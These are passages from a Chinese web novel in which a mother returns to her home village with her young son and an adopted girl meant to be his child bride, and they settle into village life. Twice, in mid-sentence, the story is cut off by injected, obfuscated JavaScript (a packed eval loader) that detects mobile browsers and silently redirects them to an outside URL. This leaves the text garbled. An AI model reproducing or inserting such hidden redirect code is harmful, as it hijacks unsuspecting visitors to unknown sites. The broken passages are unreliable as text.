乌轻轻又瘪着嘴坐回去,他的玩具不算多,大多都是乌霜雪给他编的小玩意儿,这只蚂蚱已经玩了四五天,过了新鲜劲儿了。 “你会别的游戏吗?”他消停了没一会,又去缠燕谨。 燕谨放下手中的书,看着乌轻轻黑亮的大眼睛,还是摇头。 “哼!你就是不愿意跟我玩!” 乌轻轻气呼呼地跑远,燕谨坐在榕树底下的石桌旁,他就要跑到连廊上去玩,用背影对着她,心中暗暗发誓再也不理燕谨了。 乌霜雪进来时看到的就是这样一副景象,两人各据一地,互不吭声。 她不太在意两个小孩之间的口角矛盾,也从不会要求燕谨事事顺着乌轻轻。 这些天观察下来,燕谨确实是个非常好的孩子。虽然性子冷淡,但是为人谨慎、认真,有自己的原则和底线,并不因为自己被收留就摧眉折腰,日常行走处事间不卑不亢,讨人喜欢。 今天她出门一是为了看看外面的情况,二就是为了给叶谨办户籍。 这不难,现在这个年景,只要肯花点银子,这点事办起来很容易。 “小谨,轻轻,娘要跟你们说一件事情。”她招呼两人进了堂屋。 燕谨放下手中的书,跟在她身后走过去。 乌轻轻还没消气,故意跟她隔得远远的,侧着脑袋,不肯看她,试图用这种方式告诉其他人自己现在很生气。 天色还没黑,堂屋用不着点蜡烛。 乌霜雪放下篮子,转身回望两个小孩。 “今日收拾东西,我们明天回湾水村。” 云城,就要乱了。 21. 返乡 燕谨没有什么东西可收拾的,只有两身乌霜雪这些日子给她改的衣裳,不过片刻就已经装好包袱。 她收拾好后,便转身往正屋走过去。 乌轻轻年纪小,对搬家的印象不太好。 上一次搬家时,他与娘亲从国都的家中急匆匆搬走,其他亲人俱不见。 他窝在行李堆里,坐在一辆马车上,娘亲在前方赶车,他害怕极了,哭个不停。娘从前方伸出一只手紧紧拉住他,告诉他说,轻轻,以后只剩咱们俩了。 在云城待了小半年,好不容易适应过来,如今又要搬走。 “为什么要搬家呜呜,娘,我不要搬家,我讨厌搬家……” 燕谨走近时听见乌轻轻的哭嚎声。 她的脚步有些踌躇,不太确定这种情况自己应不应该进去。 “轻轻,听娘说,”乌霜雪的声音响起,“不是搬家,是回我们自己家,知道吗?” “呜呜……回国都吗?” “回我们真正的家,娘和祖父都是在那个家长大的。” …… 屋中慢慢安静下来,燕谨站了半晌,听见乌霜雪喊她:“小谨,进来吧。” 燕谨推门进去,乌轻轻独自坐在榻上,眼圈通红,还在抽噎着,乌霜雪正在整理衣橱的衣物。 “小谨,你帮我理一下轻轻的衣服和玩具,都在那边的柜子里。” 燕谨路过还在榻边抽噎的乌轻轻时,迟疑一瞬,伸手摸了摸他的脑袋,然后略过他去一旁的柜子里收拾东西。 柜子太大了,不好带走,她们要把衣物都打包出来,这些大件家具都留在云城。 乌霜雪与乌轻轻的东西也不算多,他们在云城落脚还不到半年,除去厨房的用具与乌轻轻玩具之外,其他的东西跟他们来时差不多。 收拾好之后,乌霜雪看了一眼外面的天色,转身就要出门。 “你们俩在家等我,我出去一趟。” 乌轻轻有些害怕,立马起身跑过去拉住她,满脸紧张。 “轻轻,我马上就回来,你跟姐姐就在这等我,好吗?” 她不容置疑地拉开了小孩的手,燕谨过来把他抱回去。 燕谨对乌霜雪点了点头,她怀中的小孩还在眼巴巴看着,但没有出声挽留。 乌霜雪推门出去。 “姐姐……你怕不怕。” 小孩埋在燕谨怀里,双手紧紧揪着她的衣服。 其实燕谨并不比他大多少,虽然年长了四岁,但她身形削瘦,这些日子还没有养回来。 她生疏地用手拍拍乌轻轻的背,两个孩子依偎在一起,昏暗的烛光下,透出一股孤独之感。 “不怕,等会娘就回来了。” 乌轻轻在她怀里默默流眼泪,没再哭闹,渐渐睡了过去。 燕谨一直抱着他,眼神空落落地盯着不远处的门窗,不知在想些什么。 小几上的油灯炸开灯花,噼里啪啦地声音在安静的室内分外催眠。 等燕谨再有意识的时候,是被推门的声音惊醒的。她猝然抬头,是乌霜雪从外面进来。 乌霜雪见她醒了,手指轻轻在唇边摆动,示意她不用起身,接着睡觉。 燕谨迷迷糊糊地躺回去,没意识到自己和乌轻轻用一种很亲密的姿势歪在榻上睡着。 两个人侧身歪着,面对面离得极近。乌轻轻一只手蜷在胸前,另一只手还攥在她的领口上,只是睡着之后力道松了,稍微一动就会分开。 她的下巴搁在乌轻轻的脑袋上,躺回去的时候下意识蹭了蹭,给自己找了个舒服的角度。两只手虚虚拢着乌轻轻,还是方才安抚他睡觉的姿势。 乌霜雪站在塌边看了很久,丑时过半才将烛火吹熄,合衣躺下。 躺了不到两个时辰,乌霜雪睁开眼睛喊醒两个孩子。 天还蒙蒙黑着,确认燕谨醒了之后,她就出去了。 燕谨清醒得很快,她叫醒乌轻轻,牵着他的手出门洗漱。 院中情形令他们有些意外,一匹黑色的马在角落嚼着干草,一旁有个空荡荡的板车。 乌轻轻揉揉眼睛,兴冲冲地跑过去绕着这匹马转圈。 “娘!这是飞云吗,它怎么回来啦?!” 他认得这匹马,他们来云城的时候就是这匹马拉的车,只是没多久马就不见了。 乌霜雪正在厨房热干粮,她头也不回,手下动作飞快。 “我昨天把飞云接回来了,你们先去洗漱,然后过来吃点东西。” 时间紧,他们要赶在天亮之前出城,不然就不好走了。 燕谨一把拉过还想再看的小孩,带着他去洗漱。 今天只有干巴巴的饼子配热水,乌轻轻梗得慌,嚼得十分费力。 乌霜雪和燕谨快速吃完,便去把昨夜收拾好的东西往车上放。 乌霜雪力气大,一次能提两个包裹,她没让燕谨拿太多,自己动作麻利,三两下就放置好去套绳了。 装好水壶,把两个孩子安置在行李上,乌霜雪架着马车出了家门。 “娘,我们还回来吗?” 乌轻轻手里拿着半个没吃完的饼子,盯着乌霜雪锁门的背景,眼眶又有些湿润。 这个问题在他们从国都搬回云城时他也问过。 燕谨沉默地注视,一语不发。 确认好两个孩子都坐好之后,马车缓缓启动。 “会的,我们会回来。” 此时刚过卯时,太阳还没出来,街上看不见一个人影。 乌霜雪架着车到城门处,守城的两个兵士正是最犯困的时候,昏昏欲睡。 “站住!干什么的?” 乌霜雪从怀里掏出一个荷包扔过去,随口扯了个谎:“家中亲人病重,回家看顾。” 两个兵士看她大包小包,车上还有两个半大的孩子,心知她这是在扯谎。 但摸了摸荷包的份量,十分满足地放了行。 “走吧走吧,得亏遇到的是我们,哼哼。” 乌霜雪神色未变,架着车过了城门。 还没走远,就听见城门口那两个兵士分钱的声音。 国不成国,兵不成兵,这样的日子,他们也过不了太久了。 出了城门,乌霜雪也没能放松下来。 湾水村有些远,一刻不停也得晚间才能到了,她侧着头嘱咐两个孩子:“困了就在车上睡一会,有事就喊我。” 乌轻轻本来就没睡醒,没多久就睡着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130397|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 燕谨没睡,天色渐亮,她打量着四周的景象。 马车有些颠簸,黄土路上不少石子,车轮碾压上去起起伏伏,就像此刻她的心情一般。 燕谨伸手把乌轻轻的脑袋挪到自己腿上,好让他睡得舒服些。 “小谨。”乌霜雪喊她。 燕谨疑惑地“嗯”了一声,却迟迟等不到下文。 “娘,怎么了?” 乌霜雪迟疑了半刻,还是问道:“你会怪我吗?我将你与我们绑在一起。” 燕谨神色一怔,放在膝上的双手慢慢握紧。 “是您救了我,如果不是您的收留,我现在……” 早在答应乌霜雪的那一刻,燕谨就已经想通了。 她向来不会怨天尤人,既然已经得到了恩惠,就做不出心中怨恨的事情。 乌霜雪直视前方,太阳逐渐升起,橙红色的光芒打在她的脸上,神色莫名深远。 “这几日相处下来,我已经知道你是个什么样的孩子,如果你不愿意,就真当是我的养女吧,那些事……不成也罢。” 燕谨心中一动,但思忖半晌,还是拒绝:“我既然已经答应您,就不会反悔。我知道,您之所以让我做轻轻的……童养媳,是因为只有这样我才能看护他一辈子。” 这世道,什么都不可靠,血缘关系不可靠,一纸契约也不可靠。 只有真正心甘情愿,才能让乌霜雪放心。 乌霜雪轻轻叹出一口气,不再提这件事。 马车走了一个多时辰,乌轻轻醒了。 颠簸的马车睡得他十分不舒服,发现自己躺在燕谨怀里时,那股消失了一个晚上的别扭又跑出来。 “哼,我才不想你抱我。” 他撑起身子,摇摇晃晃地往远处爬了一点,不愿意靠着燕谨。 燕谨也没阻止,任由他坐远。 这个马车后面只是一个拉货的车板,没有地方可以靠,乌轻轻小小的身子坐得十分艰难,左摇右晃。 乌霜雪在赶车没有听见后头的官司,车轮压过路面的声音,马蹄踩动的声响盖过了这一切。 所以现在也没人给乌轻轻解围了。 他十分辛苦地端着身体坐了不到一刻就坚持不住了,感觉自己马上就要被晃下去。 但燕谨不跟他说话,也不来拉他,乌轻轻觉得十分没面子,不想就这样低头回去。 车轮又一次碾过石子的时候,车身猛地摇晃了一下。 燕谨一直盯着他,做好了把小孩拉过来的准备。 乌轻轻被吓得魂不附体,往前一扑就倒在燕谨身上。 “我,我就是让你抱一下,可不是原谅你了。” 燕谨没说话,任由他抱。 她在思考。 乌轻轻说原谅她,是因为什么事情需要原谅她? 马车一路走走停停,下车歇了几回,吃了一天干粮,几人才在戌时到了湾水村。 天已经黑了,村子里很安静,但马车的动静不算小,不少人家都被惊动了,透过门缝悄悄打量陌生的来客。 乌霜雪赶着马车到了村尾的一处房子,心中提着的那口气终于放松下来。 她从小长大的家,终于到了。 22. 安家 燕谨与乌轻轻趴在包袱上睡得正香,被乌霜雪喊醒的时候还有些茫然。 “醒醒,咱们到家了,”乌霜雪用手揉揉他们的脑袋,轻声细语地喊醒两人,“今日太晚,先将就睡一晚,明日咱们再收拾。” 燕谨睡眼惺忪地从马车上跳下去,伸手拉住身边迷迷瞪瞪的乌轻轻,看乌霜雪前去开门。 天已经黑了,借着昏暗的月光有些看不太清眼前的小院。 乌霜雪从怀里掏出一个火折子,打开院门之后将马车赶了进去。 这处小院不算太大,地面铺着青砖,三间大屋与院墙将小院围拢成一个标准的四方形。 乌霜雪将车上的被褥包袱拿下来,示意两个孩子跟着自己往正屋来。 “小谨,今日咱们先睡正屋吧,太晚了,明日再收拾。”她推开门,一股尘封已久的灰尘味与霉味涌上鼻腔。 燕谨点头,将昏昏欲睡的乌轻轻安置在檐下,进去帮忙收拾。 房子里太久没有住人,灰尘有些大。 因着天太晚,两人只草草收拾了一下睡觉的土炕,铺好被褥便准备休息。 乌霜雪赶了一天车,实在疲惫,躺下没多久就睡着了;乌轻轻横在她们俩中间睡得七仰八叉。 万籁俱寂的深夜,唯独燕谨还清醒。 她伸手摸了摸身下结实坚硬的土炕,透过半敞着的窗户去看外面的月亮。 夜月昼昼,习惯了黑暗之后便觉得月光也刺眼。房内的尘土味与霉味还未完全散去,从鼻腔一点点蔓延至燕谨的胸口。 就这样看了很久,直至困意上涌,她才渐渐睡去。 第二天三人都醒得很早。 厨房还没有收拾出来,草草吃了点大饼时候乌霜雪便开始收拾。 她拒绝了燕谨的帮忙,让她和乌轻轻在院子里玩,自己拿着扫帚抹布做清洁。 乌轻轻自从出生后就没有来过这个“老宅”,连云城的房子都是头一回去,他新鲜极了,兴奋地四处乱转。 也是到了今日燕谨才看清小院的全貌。 它不像云城的院子那样精心修缮过,看起来十分规整,只是一个稍微修葺了的农家小院。 北面是正屋,东面是厢房,西面用做厨房与柴房,南面就是院子了。 院子右下角有口井,井盖上已经长了厚厚的青苔;左下角是个露天的棚子,看起来家中原先也是养了牲畜的,畜棚旁边是个不大不小的茅房。 乌轻轻蹲在院子里玩地上的石墩,燕谨在他旁边蹲马步,乌霜雪在屋中洒扫。 熙熙融融,倒真有个家的样子了。 “——咚咚咚——” 一阵敲门声从院门响起,乌轻轻吓了一跳,赶紧跑到燕谨旁边,扯着嗓子喊他娘:“娘!有人敲门,你快来呀。” “是定成回来了吗?”一个沧桑的男声在门外喊道。 乌霜雪匆匆出来,走过去开门。 燕谨带着乌轻轻站在院子里,紧盯着门口的动静,一动不动。 打开门,看清来人的面庞之后,乌霜雪的声音在喉咙里卡了一瞬。 门外是个看着上了年纪的老汉,个子不算高大,脸上沟壑斑点许多,一身粗布麻衣,脚上踩着草鞋。 在他身后不远处,有几个身形高大的汉子正在盯着这边,四邻的院子也有人探头探脑地打量。 “……宝金叔,好久没见着您了,我是霜雪。” 她桀然一笑,十分热情地将人迎进来,“昨日晚间才到家,想着收拾好家里就去您家拜拜,没想到您先来了。” 乌宝金撑着浑浊却犀利的眼睛仔细看了一下乌霜雪的脸,乌霜雪也任他打量,笑意盈盈地将人请进堂屋。 看了半晌,乌宝金惊叫一声,激动地一拍大腿,“哎呦,霜雪啊,都这么大了,叔好悬没认出来。” “我看您可是没变,和我小时候一模一样。” “哈哈,丫头,还是这么会说话。”乌宝金大笑两声,声音传到门外,看着的汉子放心下来,各自归家去了。 “怎么不见你爹你娘?” 乌霜雪脸上笑意稍减,“国都乱起来的时候都不在了。” 在不远处站立着的燕谨指尖一颤,难以言喻的刺痛涌上心间。 “……定成他,”乌宝金满脸哀恸,看着眼前的一大两小,喟然长叹,“回家就好,以后安心在村里住下,有叔在,你放心。” “小谨,轻轻,过来拜一拜宝金爷爷。”乌霜雪招呼两个孩子。 燕谨牵着乌轻轻过来,两人将要跪下磕头,就被乌宝金拦下。 “可不兴这个,过来爷爷看看。” 他粗粝的大手拂过乌轻轻的脸颊,“孩子叫什么名字?” 乌轻轻大声回答:“我是乌轻轻,爷爷好。” “好孩子,有你祖父的风采。轻轻?怎得取了这个名字。” 乌霜雪轻声解释:“生出来的时候身子不太好,爹给取的名字,说是好养活。” 乌宝金大笑,语气十分怀念:“定成还是老样子。” 他又去看燕谨,燕谨上前一步,低声喊人:“宝金爷爷,我叫叶谨。” “这是我的养女。”乌霜雪在一旁补充。 乌宝金看燕谨眉目端正清丽,与乌轻轻十分亲近,心中了然。 “好,都是好孩子,”乌宝金一视同仁的夸赞道,随后转向乌霜雪,“中午来我家吃饭吧,你婶子若是知道你来,必定高兴。” 乌霜雪没有推拒,乌宝金与她再说了两句之后,起身出去。 乌宝金是湾水村的村长,与乌定成是从小长到大的兄弟,两人往上数几代还有亲,关系十分紧密。 虽然举家搬离已经有十几年了,但从前的情谊,是不会变的。 多年未曾归家,想要在湾水村安生住下,免不了要靠乌宝金襄助,乌霜雪十分清楚。 时间还早,乌霜雪继续收拾家里,她嘱咐两个孩子若是想要出去玩,就等下午,自会有人带他们在村里转转。 乌轻轻对这院子的新鲜劲还没过,燕谨更是没有这方面的好奇心,两人乖乖在院子里做自己的事情。 快到正午,乌霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130398|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪拿出从云城带回来的一小包烟丝,带着两个孩子往乌宝金家过去。 这个时间点村民们都在地里忙活,家中只有妻女在厨房做饭,所以他们一路也没遇着什么人。 乌宝金家离得不远,院子还要更大些,他家人口多,光是下头一辈的儿女就有5个,三男两女,女儿也都已嫁出去结婚生子了。 三人进门时乌宝金与妻子潘莲花都在家,厨房有几个媳妇在做饭,其他人应当是还没回来。 潘莲花十分热情地拉着乌霜雪的手进门,让人在堂屋坐下,又心肝肉似得去抱乌轻轻,搂着他眼泪都快流下来。 “我的孩儿,瞧这小脸,跟定成还有秀娘多像啊。” 乌定成长得五大三粗,往那一站像座黑铁塔似的,四方脸,粗眉黑眼,说乌轻轻跟他长得像完全是亲情滤镜作祟。 他奶奶方秀娘倒是对得起这个名字,秀美似水,乌霜雪与乌轻轻都是更像她多一些。 乌轻轻皱着小脸被她搂在怀里心肝肉叫唤一通,潘莲花倒也没有厚此薄彼,搂完乌轻轻,又去搂燕谨。 燕谨浑身僵硬,很不自在地听潘莲花夸她长得好看,身形修长,一看就是个美人胚子。 这实在是有别于她前十年的人生经历。 几人亲亲热热地在堂屋讲话时,家中其他人陆陆续续回来。 乌宝金的几个儿子都比乌霜雪大些,早早成亲了,生的孙辈也多。孩子们午时从学堂回来之后兴冲冲地涌进来,围着燕谨与乌轻轻打转。 乌轻轻话多爱玩,没多久就和他们打成一片,约好了等下午他们放学之后在村子里一起玩。 燕谨不太有兴趣,乌宝金家的女孩子有些和她差不多大,好奇地过来与她聊天。但燕谨生性冷淡,和她们说不到一起去,那些人见她淡淡的,觉得无趣,便也没再贴过来。 吃过饭,乌霜雪说家中还没有收拾好,要先回去。潘莲花热情地带着家中几个儿媳来帮忙,任凭乌霜雪怎么推脱都非要去。 “霜雪,你跟我还客气这么多?你若是把我当外人,那这烟丝,便也拿走,我也不许你叔收了。” 潘莲花佯怒,作势要把乌宝金已经收到屋里去的烟丝拿出来。 乌霜雪不可能应,推拒不过,无奈,浩浩荡荡的一大群人就这么往家去了。 路上碰见不少村民,有些乌霜雪认识,有些她不认识,但大家都很热情地和她打招呼。 “霜雪回来啦。” “哟,孩子长得真俊。” “霜雪都长这么大了,还认不认识我呀?” “一点都没变,跟小时候一样好看。” …… 乌霜雪带着两个孩子和她们打招呼,有些已经认不出的人,潘莲花就会在一旁指点。 她知道,这是潘莲花的好意,也是家乡人的好意。 他们因为乌定成与方秀娘的关系看待乌霜雪如家中子侄,就算已经过去了十几年未见,乌定成与方秀娘也不在了,他们仍会善待两人的后代。 自此之后,他们可以真正在湾水村安家了。 23. 长大 临近傍晚,几个下了学堂的孩子一窝蜂跑到家里来喊乌轻轻出去玩。 乌轻轻在院子里玩了一下午,眼见着太阳一点点退下去心中着急,索性站在院子门口翘首以待。远远看见一群孩子乌泱泱的往这来,欢呼一声,丢开手里的小石子就跑了出去。 燕谨目不斜视,她在院子里习武,鼻尖挂着汗珠,呼吸声已有些粗重。 她现在每日早晨蹲一个时辰马步,然后上午练一个时辰,下午再练一个时辰。隔三日乌霜雪会教她一个招式,勤练三日后再学新的。 院子里有些之前搬家没有带走的石墩子,练臂练腿都可以,燕谨勤勉,哪怕乌霜雪没说,也给自己默默加上这些练习。 忙活一天,下午又来了好些人帮忙,屋子里已经规整的差不多了,乌霜雪刚送走潘莲花与几个嫂子。 见乌轻轻跑远撒欢去了,乌霜雪有些好奇地问燕谨:“小谨,你不和他们一起去玩吗?” “我不太想玩,”燕谨摇头,收起所有动作,站在原地平复了一会,“娘,您能教我怎么做草编笼子吗?” 这是前天下午她答应乌轻轻的事情,只是后来许多事情耽搁,到现在才问出来。 乌霜雪一愣,“什么草编笼子?” “装蚂蚱的。” 燕谨说得平淡,面不改色,但乌霜雪脸上却缓缓露出一个暖融的笑容:“好,我教你。” 夕阳西下,天边的红晕也渐渐褪色,燕谨坐在堂屋的门槛上认真编笼子。 她聪明,学得快,乌霜雪只不过手把手带了两遍,她自己就能仿着做出一个大概的来。 乌霜雪自己编好了两个,见燕谨已经学会了之后,她三下五除二把自己编的拿走,进厨房当火引子。 等到屋子里点起蜡烛的时候,乌轻轻才终于回来。 那些孩子把他送到了家门口,又一窝蜂地散开归家。 乌轻轻小脸上红彤彤的,手上脚上沾着不少灰泥,他冲进来大喊:“娘!我回来啦,小虎哥他们带我去摘了花,还带我去掏了鸟窝,这里比云城好玩多了,明天我还要去……” 燕谨坐在堂屋门槛上看他雀跃地跑进厨房,跟乌霜雪好好撒了一通娇,含糊了好一会才出来。 见燕谨坐在那不动,乌轻轻下巴一抬,昂首挺胸地走过来,把手里的花伸出去给她看。 “怎么样?我亲手摘的,你没有见过这么好看的花吧,哼哼。” 燕谨借着屋内昏暗的烛火去看他手中的花。 一朵紫色的四瓣小花,边缘点缀着星星点点的白色印迹,乌轻轻捏得紧,根系已经死了,故而花瓣看着有些打焉。 她这双眼睛,在一月以前也是见识过许多常人难以想象的富贵无极之物,每日宫侍摆放在她殿中的鲜花都不重样,一年四季芬芳馥郁。 但在此刻,燕谨只是极轻地嗯了一声,然后掏出自己编的蚂蚱笼子:“笼子。” 乌轻轻十分惊喜,瞪大眼睛哇了一声,眉开眼笑地把笼子拿过来把玩。 小孩忘性大,他早就不记得自己一开始是为什么和燕谨闹别扭了。 “你也会做草编,好厉害,娘都没有给我做过笼子呢!” 燕谨看他玩得开心,爱不释手,那朵方才拿来炫耀的小花被硬塞进空间不大的笼子里,花瓣被粗硬的草梗划出痕迹,汁水都流出来,沾到他的手上。 皱了皱眉,燕谨拉过他往厨房门口的水缸走去:“过来洗手,准备吃饭了。” 乌轻轻很是爱惜这个新的草编笼子,手上有水时还不愿意摸它,在自己衣服上擦干了才去玩。 吃过饭之后,燕谨很自觉地收拾碗筷,乌霜雪拉住她,也叫住往正屋炕上爬的乌轻轻。 “东厢的屋子已经收拾好了,轻轻,你住靠北的那一间;小谨,你住中间,南面先空着。” 燕谨默了片刻,她抬眼去看乌轻轻,乌轻轻却只是哦了一声,继续往炕上爬,注意力还放在手中的笼子上。 “轻轻这么小……他一个人行吗?” 乌霜雪含笑点头:“在国都时,轻轻也是自己睡一个屋。云城家中只有我们两人,便让他与我同居一处,现在回家了,合该让他自己睡,不会有什么问题的。” 话是这么说,但从前在国都时也必定有丫鬟夜间看着乌轻轻,不完全是自己一个人。 但乌霜雪神色坚定,乌轻轻不以为意,燕谨便也咽下那些话语。 罢了,晚上她多注意一点吧。 东厢的几个房间,燕谨上午来看过,只是后来几个婶婶们进来收拾,她不好打扰,就没再进来看。 这会儿再过来看,跟上午空荡荡的样子完全不同。 中间这间房是东厢的三个房间里面最大的,靠北的地方是一个很大的土炕,上面垫着厚厚的褥子;南边墙角放了两个箱子,旁边有一套木质的妆台;窗底下还放了一套桌椅。 对于时下的农家人来说,这已是十分尽心的搭配。 东西也许是之前就留在老宅里的,但愿不愿意给她用,那是两码事。 方才在正屋时,她见乌霜雪的寝室也没有比这更好些。 扭头去看乌霜雪,乌霜雪却没多说什么,笑着摸了摸燕谨的头发,把身后探头探脑的乌轻轻带走去他的房间了。 燕谨关好门,爬上炕,合衣躺下,闭目养神。 她的房间与乌轻轻的房间仅一墙之隔,两个土坑挨着,她几乎能听到隔壁房间里两人的对话。 “……哇,我的蚂蚱!” “娘给你摆好了,你的小蚂蚱是不是要放到姐姐送你的笼子里面呢?” “当然要放!嘿嘿,我喜欢小笼子……” …… “好了,娘你回去吧,我一个人能行的,你去睡觉吧。” 空气渐渐安静下来,只剩下乌轻轻偶尔响起的笑声还有衣物的摩擦声,燕谨能想象到他此刻必定是在炕上滚来滚去,躺得一点也不自在。 不知过了多久,所有声响都消失了,燕谨才吹熄蜡烛,脱下外衣,沉沉睡去。 日子就这样一天天过着,他们搬回老宅大约半个月左右,乌霜雪不知用了什么法子,将两人都塞进了村子里的学堂中。 那学堂是湾水村中几个大户集资,又让每家凑了点铜板起的。 盖了屋,请了先生回来教书,学堂办起来之后村里适龄的孩子基本都会去上,先生之前考学时中过秀才,教他们村里这些孩子是足够的。 但乌霜雪一个外嫁女,孤身 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乌轻轻十一岁,古灵精怪的脑子总是不放在学业上,玩得不亦乐乎。 随着年龄的增长,燕谨逐渐长开,原本细瘦如干柴的身体变得高挑纤长,皓齿明眸,英气十足。 不少人家上门打听,原本不少人都以为燕谨是乌霜雪的孩子,走了一遭之后才知道燕谨是乌霜雪领回来给乌轻轻做童养媳的,只得遗憾归家。 上过门的人多了,村子里大大小小的人便都知道这件事了。 燕谨不在意别人是怎么看待自己的,该做什么还是做什么,乌霜雪也不在意,这事她一早就跟燕谨说清楚了。 只是,对童养媳只有一个模糊概念的乌轻轻十分介意。 在学堂时,总有人笑话他,他气得要命,却没法反驳。 所以这些天对燕谨鼻子不是鼻子眼睛不是眼睛的,明明住在一个家里,硬是忍着好几天不跟她说话。 —— “娘!我回来了。” 乌轻轻手中拿着一个草编的篮子,里头放着几本书,三步并作两步地冲进家门。 一进门没看见他娘,倒是看见了在院子里习武的燕谨。 他脸上的笑容一僵,扭捏地侧过头,装作没看见燕谨,一路歪着脑袋摸进自己的房间。 燕谨瞥了一眼,毫不介怀地继续动作,没有出声和他打招呼。 乌轻轻在自己房间待了一会,半晌才出来。 “娘!我回家了,娘?” 没人应声。 乌轻轻跑进正屋找了一圈,又去厨房、柴房和书房——东厢剩下的那间屋子,从他们进学之后就被乌霜雪改成了书房。 连飞云的干草堆都找了,还是没看见人影。 乌轻轻没找到人,站在燕谨身后偷偷看她,见她不理自己,粗声粗气地喊:“喂,那个,娘怎么不在家?” 燕谨没理,她将自己今日剩下的时辰练完,才扭头去看乌轻轻。 乌轻轻正坐在院门的门槛上瞪她,十分不满。 “不好意思,我不知道你在跟我说话,”燕谨眉眼淡薄,倒叫乌轻轻有些怵她了,“娘去城里了。” 24. 城乱 乌轻轻干巴巴地哦了一声。 他不太想承认自己现在有些害怕燕谨。看见燕谨每天雷打不动的习武,还教训过学堂几个找她麻烦的同窗,他对燕谨的武力值已经有了一个清晰的认知。 她不会打我吧? 乌轻轻低着头扣弄手指,悄悄抬眼去看院子里正在理气的燕谨。 燕谨也正好看了他一眼,两人骤然对视一眼,乌轻轻极快地低下头。 他今年十一岁了,还没长成的身子有些单薄,每日与同窗招猫逗狗,身上总是脏兮兮的,乌霜雪不知教训过他多少次。 没遗传到祖父乌定成的膀阔腰圆与虎头燕颔,乌轻轻有一双圆溜溜的眼睛,顾盼有神,看起来非常讨人喜欢,村里那些婶子奶奶都爱逗他玩。 燕谨看了片刻,倒没看出什么俊秀,一个乳臭未干的小屁孩罢了。 “厨房有晚饭。” 撂下这句话,燕谨径自走向书房,准备看会儿书。 书房中的书不算太多,有些是之前从云城带回来的,剩下的就是这些年陆陆续续添置的。 乌霜雪每两月会去一次云城,一是为了补充物资,二就是为了探听情况。 坐在院子里的乌轻轻起身走进厨房,大失所望。 这一看就是燕谨做的,她做饭总是很敷衍,随意烙两个饼子混点野菜。 不太想吃,但玩了一下午,肚子里有些饿了。 磨蹭一会,乌轻轻还是拿起两个饼子,摸进了书房。 坐在桌前的燕谨头也不抬。 乌轻轻在书房的位置就在她对面,燕谨感觉人坐了过来,随之十分响亮的咀嚼声在书房中响起。 燕谨没有反应,那声音见状越来越大,已经有些影响她看书。 十分无奈地叹了口气,燕谨伸手捏了捏眉心,“你想干什么?” 一口咬了太多干饼的乌轻轻被噎得说不出来话,被燕谨盯着艰难咀嚼完成下肚之后,脸颊红通通的,大声说:“你为什么不给我做好吃的,我不爱吃饼子。” “等娘回来让她给你做。” “要是娘明天才回来,你是不是要给我吃两天这个干巴巴的东西。” 燕谨放下手,注意力回到书中,“娘等会就回来。” “我不管!”乌轻轻高声道,“你是我的……我的童养媳,以后你要嫁给我,什么都要听我的,我就要你现在给我做……” 他的声音在燕谨的注视下变得越来越小,直至消失不见。 “谁教你的?”燕谨问他。 乌轻轻见她起身朝自己走过来,心中有些害怕,但还是强撑着说:“没有人教我,我就是知道,你要听我的话!不然我就,我就休了你!” “是么,”燕谨挽起袖子,随手捡起桌上的一个木制镇纸,拿在手里把玩,“我要听你的话?” “对!所以你现在去给我做好吃的!” 燕谨看着他,面上甚为平静。她一只手拉过乌轻轻,将他手中咬了一半的饼子放在桌上,又将他紧握的双拳蛮力拉开,掌心朝上放置。 “谁教你的?” 她极有耐心地又问了一遍。 乌轻轻抽动了两下,手被捏得很紧,他动弹不得,慌乱间只知道摇头。 “啪——” 细长的镇纸打在乌轻轻细嫩的掌心。 燕谨收了几分力,没有打太重,但镇纸本就坚硬,打在手心生疼,刹那间乌轻轻眼里就含了一包眼泪,要掉不掉的。 “你敢打我!呜呜你敢打我,我要告诉娘,我不要你这个童养媳了呜呜呜,你还打我……” “是谁教你说这些话?” 乌轻轻还是摇头。 “啪——” 又被打了一下,含着的眼泪终于掉了下来。 乌轻轻挣扎不已,但燕谨将他的手捏得很紧,再挣扎也只是自己不好受。 “呜啊呜呜你敢打我,我要告诉娘,呜哇哇……” 燕谨没有理会这些话,只要乌轻轻不开口,镇纸就会一次次落下去。 大约挨了五下,乌轻轻终于忍不住,边嚎边说:“我说,别打我了,是刘全他们说的呜呜,他们说我让你干什么你就得干什么呜呜呜,你别打我了,好痛啊呜呜呜……” 燕谨得到了答案,放下了手中的镇纸,但还是牵着他。 一路走到厨房外,用水瓢给他被打得通红的手心浇水。 “刘全说什么你就信什么?你是相信刘全还是相信我和娘?” 她一边浇水,一边问乌轻轻。 乌轻轻抽噎个不停,眼圈通红,刚刚被打,哪怕心中还有怨气也不敢不答话。 “相信,相信你和娘……” 刘全就是之前在学堂找过燕谨麻烦的那个人,跟她一般大,被教训过几次之后偃旗息鼓,没想到竟然把主意打到了年纪还小的乌轻轻身上。 燕谨微微眯起眼,心中有了打算。 天色尚早,离乌霜雪回家应该还有一点时间,燕谨瞥了一眼乌轻轻,他正可怜巴巴地捧着自己挨打的手坐在书房的椅子上抹眼泪。 想了一下,还是去厨房打了一个鸡蛋汤,让乌轻轻把饼子泡在里面吃。 小孩记吃不记打,得了鸡蛋汤,又眉开眼笑地乐起来了。 